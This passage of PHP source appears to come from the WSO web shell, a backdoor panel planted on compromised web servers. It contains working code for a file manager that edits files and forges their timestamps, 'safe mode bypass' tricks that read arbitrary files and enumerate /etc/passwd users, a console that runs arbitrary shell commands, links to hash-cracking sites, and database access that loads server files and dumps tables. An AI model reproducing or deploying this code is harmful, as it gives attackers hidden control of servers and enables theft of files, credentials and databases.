  613.     $sort = array('name', 1);
  614.     if(!empty($_POST['p1'])) {
  615.         if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  616.             $sort = array($match[1], (int)$match[2]);
  617.     }
  618. echo "<script>
  619.     function sa() {
  620.         for(i=0;i<d.files.elements.length;i++)
  621.             if(d.files.elements[i].type == 'checkbox')
  622.                 d.files.elements[i].checked = d.files.elements[0].checked;
  623.     }
  624.  
  625. </script>
  626. <table width='100%' class='main' cellspacing='0' cellpadding='2'>
  627. <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
  628.     $dirs = $files = array();
  629.     $n = count($dirContent);
  630.     for($i=0;$i<$n;$i++) {
  631.         $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  632.         $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  633.         $tmp = array('name' => $dirContent[$i],
  634.                      'path' => $GLOBALS['cwd'].$dirContent[$i],
  635.                      'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
  636.                      'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
  637.                      'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  638.                      'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  639.                      'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  640.                     );
  641.         if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
  642.             $files[] = array_merge($tmp, array('type' => 'file'));
  643.         elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
  644.             $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
  645.         elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
  646.             $dirs[] = array_merge($tmp, array('type' => 'dir'));
  647.     }
  648.     $GLOBALS['sort'] = $sort;
  649.     function wsoCmp($a, $b) {
  650.         if($GLOBALS['sort'][0] != 'size')
  651.             return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
  652.         else
  653.             return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  654.     }
  655.     usort($files, "wsoCmp");
  656.     usort($dirs, "wsoCmp");
  657.     $files = array_merge($dirs, $files);
  658.     $l = 0;
  659.     foreach($files as $f) {
  660.         echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" title=' . $f['link'] . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  661.             .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
  662.         $l = $l?0:1;
  663.     }
  664.     echo "<tr><td colspan=7>
  665.  
  666.     <input type=hidden name=a value='FilesMan'>
  667.     <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
  668.     <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
  669.     <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
  670.     if(class_exists('ZipArchive'))
  671.         echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
  672.     echo "<option value='tar'>Compress (tar.gz)</option>";
  673.     if(!empty($_SESSION['act']) && @count($_SESSION['f']))
  674.         echo "<option value='paste'>Paste / Compress</option>";
  675.     echo "</select>&nbsp;";
  676.     if(!empty($_SESSION['act']) && @count($_SESSION['f']) && (($_SESSION['act'] == 'zip') || ($_SESSION['act'] == 'tar')))
  677.         echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_SESSION['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
  678.     echo "<input type='submit' value='>>'></td></tr></form></table></div>";
  679.     wsoFooter();
  680. }
  681.  
  682. function actionStringTools() {
  683.     if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  684.     if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
  685.     if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  686.     if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
  687.     if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  688.     $stringTools = array(
  689.         'Base64 encode' => 'base64_encode',
  690.         'Base64 decode' => 'base64_decode',
  691.         'Url encode' => 'urlencode',
  692.         'Url decode' => 'urldecode',
  693.         'Full urlencode' => 'full_urlencode',
  694.         'md5 hash' => 'md5',
  695.         'sha1 hash' => 'sha1',
  696.         'crypt' => 'crypt',
  697.         'CRC32' => 'crc32',
  698.         'ASCII to HEX' => 'ascii2hex',
  699.         'HEX to ASCII' => 'hex2ascii',
  700.         'HEX to DEC' => 'hexdec',
  701.         'HEX to BIN' => 'hex2bin',
  702.         'DEC to HEX' => 'dechex',
  703.         'DEC to BIN' => 'decbin',
  704.         'BIN to HEX' => 'binhex',
  705.         'BIN to DEC' => 'bindec',
  706.         'String to lower case' => 'strtolower',
  707.         'String to upper case' => 'strtoupper',
  708.         'Htmlspecialchars' => 'htmlspecialchars',
  709.         'String length' => 'strlen',
  710.     );
  711.     if(isset($_POST['ajax'])) {
  712.         $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  713.         ob_start();
  714.         if(in_array($_POST['p1'], $stringTools))
  715.             echo $_POST['p1']($_POST['p2']);
  716.         $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  717.         echo strlen($temp), "\n", $temp;
  718.         exit;
  719.     }
  720.     wsoHeader();
  721.     echo '<h1>String conversions</h1><div class=content>';
  722.     if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  723.         $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  724.     echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
  725.     foreach($stringTools as $k => $v)
  726.         echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  727.         echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  728.     if(!empty($_POST['p1'])) {
  729.         if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
  730.     }
  731.     echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
  732.  
  733.         <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
  734.             <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
  735.             <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
  736.             <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
  737.             <tr><td></td><td><input type='submit' value='>>'></td></tr>
  738.             </table></form>";
  739.  
  740.     function wsoRecursiveGlob($path) {
  741.         if(substr($path, -1) != '/')
  742.             $path.='/';
  743.         $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
  744.         if(is_array($paths)&&@count($paths)) {
  745.             foreach($paths as $item) {
  746.                 if(@is_dir($item)){
  747.                     if($path!=$item)
  748.                         wsoRecursiveGlob($item);
  749.                 } else {
  750.                     if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
  751.                         echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
  752.                 }
  753.             }
  754.         }
  755.     }
  756.     if(@$_POST['p3'])
  757.         wsoRecursiveGlob($_POST['c']);
  758.     echo "</div><br><h1>Search for hash:</h1><div class=content>
  759.  
  760.         <form method='post' target='_blank' name='hf'>
  761.             <input type='text' name='hash' style='width:200px;'><br>
  762.             <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
  763.             <input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
  764.             <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
  765.             <input type='button' value='md5.whitenoize.com' onclick=\"document.hf.action='http://md5.whitenoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
  766.             <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
  767.         </form></div>";
  768.     wsoFooter();
  769. }
  770.  
  771. function actionFilesTools() {
  772.     if( isset($_POST['p1']) )
  773.         $_POST['p1'] = urldecode($_POST['p1']);
  774.     if(@$_POST['p2']=='download') {
  775.         if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
  776.             ob_start("ob_gzhandler", 4096);
  777.             header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  778.             if (function_exists("mime_content_type")) {
  779.                 $type = @mime_content_type($_POST['p1']);
  780.                 header("Content-Type: " . $type);
  781.             } else
  782.                 header("Content-Type: application/octet-stream");
  783.             $fp = @fopen($_POST['p1'], "r");
  784.             if($fp) {
  785.                 while(!@feof($fp))
  786.                     echo @fread($fp, 1024);
  787.                 fclose($fp);
  788.             }
  789.         }exit;
  790.     }
  791.     if( @$_POST['p2'] == 'mkfile' ) {
  792.         if(!file_exists($_POST['p1'])) {
  793.             $fp = @fopen($_POST['p1'], 'w');
  794.             if($fp) {
  795.                 $_POST['p2'] = "edit";
  796.                 fclose($fp);
  797.             }
  798.         }
  799.     }
  800.     wsoHeader();
  801.     echo '<h1>File tools</h1><div class=content>';
  802.     if( !file_exists(@$_POST['p1']) ) {
  803.         echo 'File not exists';
  804.         wsoFooter();
  805.         return;
  806.     }
  807.     $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  808.     if(!$uid) {
  809.         $uid['name'] = @fileowner($_POST['p1']);
  810.         $gid['name'] = @filegroup($_POST['p1']);
  811.     } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
  812.     echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  813.     echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  814.     if( empty($_POST['p2']) )
  815.         $_POST['p2'] = 'view';
  816.     if( is_file($_POST['p1']) )
  817.         $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
  818.     else
  819.         $m = array('Chmod', 'Rename', 'Touch');
  820.     foreach($m as $v)
  821.         echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  822.     echo '<br><br>';
  823.     switch($_POST['p2']) {
  824.         case 'view':
  825.             echo '<pre class=ml1>';
  826.             $fp = @fopen($_POST['p1'], 'r');
  827.             if($fp) {
  828.                 while( !@feof($fp) )
  829.                     echo htmlspecialchars(@fread($fp, 1024));
  830.                 @fclose($fp);
  831.             }
  832.             echo '</pre>';
  833.             break;
  834.         case 'highlight':
  835.             if( @is_readable($_POST['p1']) ) {
  836.                 echo '<div class=ml1 style="background-color: #666666;color:black;">';
  837.                 $code = @highlight_file($_POST['p1'],true);
  838.                 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
  839.             }
  840.             break;
  841.         case 'chmod':
  842.             if( !empty($_POST['p3']) ) {
  843.                 $perms = 0;
  844.                 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  845.                     $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  846.                 if(!@chmod($_POST['p1'], $perms))
  847.                     echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  848.             }
  849.             clearstatcache();
  850.             echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
  851.             break;
  852.         case 'edit':
  853.             if( !is_writable($_POST['p1'])) {
  854.                 echo 'File isn\'t writeable';
  855.                 break;
  856.             }
  857.             if( !empty($_POST['p3']) ) {
  858.                 $time = @filemtime($_POST['p1']);
  859.                 $_POST['p3'] = substr($_POST['p3'],1);
  860.                 $fp = @fopen($_POST['p1'],"w");
  861.                 if($fp) {
  862.                     @fwrite($fp,$_POST['p3']);
  863.                     @fclose($fp);
  864.                     echo 'Saved!<br><script>p3_="";</script>';
  865.                     @touch($_POST['p1'],$time,$time);
  866.                 }
  867.             }
  868.             echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
  869.             $fp = @fopen($_POST['p1'], 'r');
  870.             if($fp) {
  871.                 while( !@feof($fp) )
  872.                     echo htmlspecialchars(@fread($fp, 1024));
  873.                 @fclose($fp);
  874.             }
  875.             echo '</textarea><input type=submit value=">>"></form>';
  876.             break;
  877.         case 'hexdump':
  878.             $c = @file_get_contents($_POST['p1']);
  879.             $n = 0;
  880.             $h = array('00000000<br>','','');
  881.             $len = strlen($c);
  882.             for ($i=0; $i<$len; ++$i) {
  883.                 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  884.                 switch ( ord($c[$i]) ) {
  885.                     case 0:  $h[2] .= ' '; break;
  886.                     case 9:  $h[2] .= ' '; break;
  887.                     case 10: $h[2] .= ' '; break;
  888.                     case 13: $h[2] .= ' '; break;
  889.                     default: $h[2] .= $c[$i]; break;
  890.                 }
  891.                 $n++;
  892.                 if ($n == 32) {
  893.                     $n = 0;
  894.                     if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  895.                     $h[1] .= '<br>';
  896.                     $h[2] .= "\n";
  897.                 }
  898.             }
  899.             echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=white333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=white333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  900.             break;
  901.         case 'rename':
  902.             if( !empty($_POST['p3']) ) {
  903.                 if(!@rename($_POST['p1'], $_POST['p3']))
  904.                     echo 'Can\'t rename!<br>';
  905.                 else
  906.                     die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  907.             }
  908.             echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
  909.             break;
  910.         case 'touch':
  911.             if( !empty($_POST['p3']) ) {
  912.                 $time = strtotime($_POST['p3']);
  913.                 if($time) {
  914.                     if(!touch($_POST['p1'],$time,$time))
  915.                         echo 'Fail!';
  916.                     else
  917.                         echo 'Touched!';
  918.                 } else echo 'Bad time format!';
  919.             }
  920.             clearstatcache();
  921.             echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
  922.             break;
  923.     }
  924.     echo '</div>';
  925.     wsoFooter();
  926. }
  927.  
  928. function actionSafeMode() {
  929.     $temp='';
  930.     ob_start();
  931.     switch($_POST['p1']) {
  932.         case 1:
  933.             $temp=@tempnam($test, 'cx');
  934.             if(@copy("compress.zlib://".$_POST['p2'], $temp)){
  935.                 echo @file_get_contents($temp);
  936.                 unlink($temp);
  937.             } else
  938.                 echo 'Sorry... Can\'t open file';
  939.             break;
  940.         case 2:
  941.             $files = glob($_POST['p2'].'*');
  942.             if( is_array($files) )
  943.                 foreach ($files as $filename)
  944.                     echo $filename."\n";
  945.             break;
  946.         case 3:
  947.             $ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
  948.             curl_exec($ch);
  949.             break;
  950.         case 4:
  951.             ini_restore("safe_mode");
  952.             ini_restore("open_basedir");
  953.             include($_POST['p2']);
  954.             break;
  955.         case 5:
  956.             for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  957.                 $uid = @posix_getpwuid($_POST['p2']);
  958.                 if ($uid)
  959.                     echo join(':',$uid)."\n";
  960.             }
  961.             break;
  962.     }
  963.     $temp = ob_get_clean();
  964.     wsoHeader();
  965.     echo '<h1>Safe mode bypass</h1><div class=content>';
  966.     echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
  967.     if($temp)
  968.         echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
  969.     echo '</div>';
  970.     wsoFooter();
  971. }
  972.  
  973. function actionConsole() {
  974.     if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
  975.         $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = true;
  976.         $_POST['p1'] .= ' 2>&1';
  977.     } elseif(!empty($_POST['p1']))
  978.         $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = false;
  979.  
  980.     if(isset($_POST['ajax'])) {
  981.         $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  982.         ob_start();
  983.         echo "d.cf.cmd.value='';\n";
  984.         $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
  985.         if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
  986.             if(@chdir($match[1])) {
  987.                 $GLOBALS['cwd'] = @getcwd();
  988.                 echo "c_='".$GLOBALS['cwd']."';";
  989.             }
  990.         }
  991.         echo "d.cf.output.value+='".$temp."';";
  992.         echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
  993.         $temp = ob_get_clean();
  994.         echo strlen($temp), "\n", $temp;
  995.         exit;
  996.     }
  997.     wsoHeader();
  998.     echo "<script>
  999. if(window.Event) window.captureEvents(Event.KEYDOWN);
  1000. var cmds = new Array('');
  1001. var cur = 0;
  1002. function kp(e) {
  1003.     var n = (window.Event) ? e.which : e.keyCode;
  1004.     if(n == 38) {
  1005.         cur--;
  1006.         if(cur>=0)
  1007.             document.cf.cmd.value = cmds[cur];
  1008.         else
  1009.             cur++;
  1010.     } else if(n == 40) {
  1011.         cur++;
  1012.         if(cur < cmds.length)
  1013.             document.cf.cmd.value = cmds[cur];
  1014.         else
  1015.             cur--;
  1016.     }
  1017. }
  1018. function add(cmd) {
  1019.     cmds.pop();
  1020.     cmds.push(cmd);
  1021.     cmds.push('');
  1022.     cur = cmds.length-1;
  1023. }
  1024.  
  1025. </script>";
  1026.     echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
  1027.     foreach($GLOBALS['aliases'] as $n => $v) {
  1028.         if($v == '') {
  1029.             echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  1030.             continue;
  1031.         }
  1032.         echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  1033.     }
  1034.     if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1035.         $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1036.     echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> whiteirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
  1037.     if(!empty($_POST['p1'])) {
  1038.         echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
  1039.     }
  1040.     echo '</textarea><table style="border:1px solid #df5;background-color:#ffffff;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
  1041.     echo '</form></div><script>d.cf.cmd.focus();</script>';
  1042.     wsoFooter();
  1043. }
  1044.  
  1045. function actionLogout() {
  1046.     session_destroy();
  1047.     die('bye!');
  1048. }
  1049. function actionSql() {
  1050.     class DbClass {
  1051.         var $type;
  1052.         var $link;
  1053.         var $res;
  1054.         function DbClass($type) {
  1055.             $this->type = $type;
  1056.         }
  1057.         function connect($host, $user, $pass, $dbname){
  1058.             switch($this->type) {
  1059.                 case 'mysql':
  1060.                     if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  1061.                     break;
  1062.                 case 'pgsql':
  1063.                     $host = explode(':', $host);
  1064.                     if(!$host[1]) $host[1]=5432;
  1065.                     if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  1066.                     break;
  1067.             }
  1068.             return false;
  1069.         }
  1070.         function selectdb($db) {
  1071.             switch($this->type) {
  1072.                 case 'mysql':
  1073.                     if (@mysql_select_db($db))return true;
  1074.                     break;
  1075.             }
  1076.             return false;
  1077.         }
  1078.         function query($str) {
  1079.             switch($this->type) {
  1080.                 case 'mysql':
  1081.                     return $this->res = @mysql_query($str);
  1082.                     break;
  1083.                 case 'pgsql':
  1084.                     return $this->res = @pg_query($this->link,$str);
  1085.                     break;
  1086.             }
  1087.             return false;
  1088.         }
  1089.         function fetch() {
  1090.             $res = func_num_args()?func_get_arg(0):$this->res;
  1091.             switch($this->type) {
  1092.                 case 'mysql':
  1093.                     return @mysql_fetch_assoc($res);
  1094.                     break;
  1095.                 case 'pgsql':
  1096.                     return @pg_fetch_assoc($res);
  1097.                     break;
  1098.             }
  1099.             return false;
  1100.         }
  1101.         function listDbs() {
  1102.             switch($this->type) {
  1103.                 case 'mysql':
  1104.                         return $this->query("SHOW databases");
  1105.                 break;
  1106.                 case 'pgsql':
  1107.                     return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
  1108.                 break;
  1109.             }
  1110.             return false;
  1111.         }
  1112.         function listTables() {
  1113.             switch($this->type) {
  1114.                 case 'mysql':
  1115.                     return $this->res = $this->query('SHOW TABLES');
  1116.                 break;
  1117.                 case 'pgsql':
  1118.                     return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
  1119.                 break;
  1120.             }
  1121.             return false;
  1122.         }
  1123.         function error() {
  1124.             switch($this->type) {
  1125.                 case 'mysql':
  1126.                     return @mysql_error();
  1127.                 break;
  1128.                 case 'pgsql':
  1129.                     return @pg_last_error();
  1130.                 break;
  1131.             }
  1132.             return false;
  1133.         }
  1134.         function setCharset($str) {
  1135.             switch($this->type) {
  1136.                 case 'mysql':
  1137.                     if(function_exists('mysql_set_charset'))
  1138.                         return @mysql_set_charset($str, $this->link);
  1139.                     else
  1140.                         $this->query('SET CHARSET '.$str);
  1141.                     break;
  1142.                 case 'pgsql':
  1143.                     return @pg_set_client_encoding($this->link, $str);
  1144.                     break;
  1145.             }
  1146.             return false;
  1147.         }
  1148.         function loadFile($str) {
  1149.             switch($this->type) {
  1150.                 case 'mysql':
  1151.                     return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
  1152.                 break;
  1153.                 case 'pgsql':
  1154.                     $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
  1155.                     $r=array();
  1156.                     while($i=$this->fetch())
  1157.                         $r[] = $i['file'];
  1158.                     $this->query('drop table wso2');
  1159.                     return array('file'=>implode("\n",$r));
  1160.                 break;
  1161.             }
  1162.             return false;
  1163.         }
  1164.         function dump($table, $fp = false) {
  1165.             switch($this->type) {
  1166.                 case 'mysql':
  1167.                     $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  1168.                     $create = mysql_fetch_array($res);
  1169.                     $sql = $create[1].";\n";
  1170.                     if($fp) fwrite($fp, $sql); else echo($sql);
  1171.                     $this->query('SELECT * FROM `'.$table.'`');
  1172.                     $head = true;
  1173.                     while($item = $this->fetch()) {
  1174.                         $columns = array();
  1175.                         foreach($item as $k=>$v) {
  1176.                             if($v == null)
  1177.                                 $item[$k] = "NULL";
  1178.                             elseif(is_numeric($v))
  1179.                                 $item[$k] = $v;
  1180.                             else
  1181.                                 $item[$k] = "'".@mysql_real_escape_string($v)."'";
  1182.                             $columns[] = "`".$k."`";
  1183.                         }
  1184.                         if($head) {
  1185.                             $sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
  1186.                             $head = false;
  1187.                         } else
  1188.                             $sql = "\n\t,(".implode(", ", $item).')';
  1189.                         if($fp) fwrite($fp, $sql); else echo($sql);
  1190.                     }
  1191.                     if(!$head)
  1192.                         if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
  1193.                 break;
  1194.                 case 'pgsql':
  1195.                     $this->query('SELECT * FROM '.$table);
  1196.                     while($item = $this->fetch()) {
  1197.                         $columns = array();
  1198.                         foreach($item as $k=>$v) {
  1199.                             $item[$k] = "'".addslashes($v)."'";
  1200.                             $columns[] = $k;
  1201.                         }
  1202.                         $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  1203.                         if($fp) fwrite($fp, $sql); else echo($sql);
  1204.                     }
  1205.                 break;
  1206.             }
  1207.             return false;
  1208.         }
  1209.     };
  1210.     $db = new DbClass($_POST['type']);
  1211.     if(@$_POST['p2']=='download') {
  1212.         $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  1213.         $db->selectdb($_POST['sql_base']);
  1214.         switch($_POST['charset']) {
  1215.             case "Windows-1251": $db->setCharset('cp1251'); break;
  1216.             case "UTF-8": $db->setCharset('utf8'); break;
  1217.             case "KOI8-R": $db->setCharset('koi8r'); break;
